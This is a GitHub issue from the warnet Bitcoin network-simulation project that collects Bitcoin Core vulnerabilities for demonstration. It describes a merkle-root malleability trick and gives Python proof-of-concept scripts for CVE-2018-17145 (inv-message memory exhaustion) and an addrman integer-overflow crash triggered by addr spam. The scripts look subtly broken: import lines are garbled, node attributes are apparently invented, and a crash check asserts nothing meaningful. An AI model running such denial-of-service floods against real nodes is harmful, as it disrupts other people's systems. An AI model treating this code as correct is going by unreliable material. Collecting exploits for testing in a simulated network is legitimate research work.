bitcoin-dev-project / warnet

Monitor and analyze the emergent behaviors of Bitcoin networks
https://warnet.dev
MIT License
93 stars 35 forks source link

Exploit Hopper #356

Open mplsgrant opened 6 months ago

mplsgrant commented 6 months ago

Exploit Hopper

This issue contains exploits which we could demo in Warnet.

josibake commented 6 months ago

Merkle root malleability: https://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20190225/a27d8837/attachment-0001.pdf

Could be a fun one, IIRC it involves tricking the node into thinking the block is invalid (by grinding to get the same merkle root as a valid block using duplicate transactions) and then after the node has marked your invalid block as (correctly) invalid, it will reject valid blocks from other peers due to the fact they have the same merkle root.

mplsgrant commented 3 months ago

CVE-2018-17145: Bitcoin Inventory Out-of-Memory Denial-of-Service Attack

https://invdos.net/paper/CVE-2018-17145.pdf

Vulnerable versions Bitcoin Core v0.16.0 Bitcoin Core v0.16.1 Exploit using the test framework

class TxInvOOMDOS(BitcoinTestFramework):
   def set_test_params(self):
       self.num_nodes = 2
       self.setup_clean_chain = True

   def run_test(self):
       self.nodes[0].start()
       self.nodes[1].start()

       block_store = self.nodes[0].block_store

       tx_store = self.nodes[0].tx_store
       test_node_1 = TestNode(block_store, tx_store)
       test_node_2 = TestNode(block_store, tx_store)

       self.nodes[0].add_p2p_connection(test_node_1)
       self.nodes[1].add_p2p_connection(test_node_2)

       self.trigger_exploit(test_node_1, test_node_2)

       self.check_node_crash(test_node_2)

   def trigger_exploit(self, node, peer):       
       for _ in range(10000): 
           hash = '0000000000000000000000000000000000000000000000000000000000000001'
           obj = CInv(1, hash) 
           node.send_message(msg_inv([obj]))

   def check_node_crash(self, node):
       assert_equal(node.lastInv, []) 

if __name__ == '__main__':
   TxInvOOMDOS().main()
mplsgrant commented 3 months ago

Remote crash due to addr message spam

https://bitcoincore.org/en/2024/07/31/disclose-addrman-int-overflow/

By getting the victim to insert 232 entries (through e.g. spamming addr messages), this identifier overflows, which leads to an assertion crash. Versions At least 21.0 and earlier versions (Unsure how far this goes back) Fixed by https://github.com/bitcoin/bitcoin/pull/22387

Exploit

!/usr/bin/env python3

from test_framework.mininode import from test_framework.test_framework import BitcoinTestFramework from test_framework.util import

class AddrMessageRemoteCrashTest(BitcoinTestFramework):
   def set_test_params(self):
       self.num_nodes = 2
       self.setup_clean_chain = True

   def run_test(self):
       connect_nodes(self.nodes[0], 1)

       p2p_conn = self.nodes[0].add_p2p_connection(P2PInterface())

       num_addrs = 2**32
       addrs = []
       for i in range(num_addrs):
           addr = CAddress()
           addr.ip = "127.0.0.1"
           addr.port = 8333
           addr.nTime = int(time.time())
           addrs.append(addr)

       chunk_size = 1000
       for i in range(0, num_addrs, chunk_size):
           chunk = addrs[i:i+chunk_size]
           msg = msg_addr()
           msg.addrs = chunk
           p2p_conn.send_message(msg)

           time.sleep(0.1)

       time.sleep(10)

       assert_equal(self.nodes[1].getconnectioncount(), 1)

       self.log.info("Sent 2^32 addr entries successfully")

if __name__ == '__main__':
   AddrMessageRemoteCrashTest().main()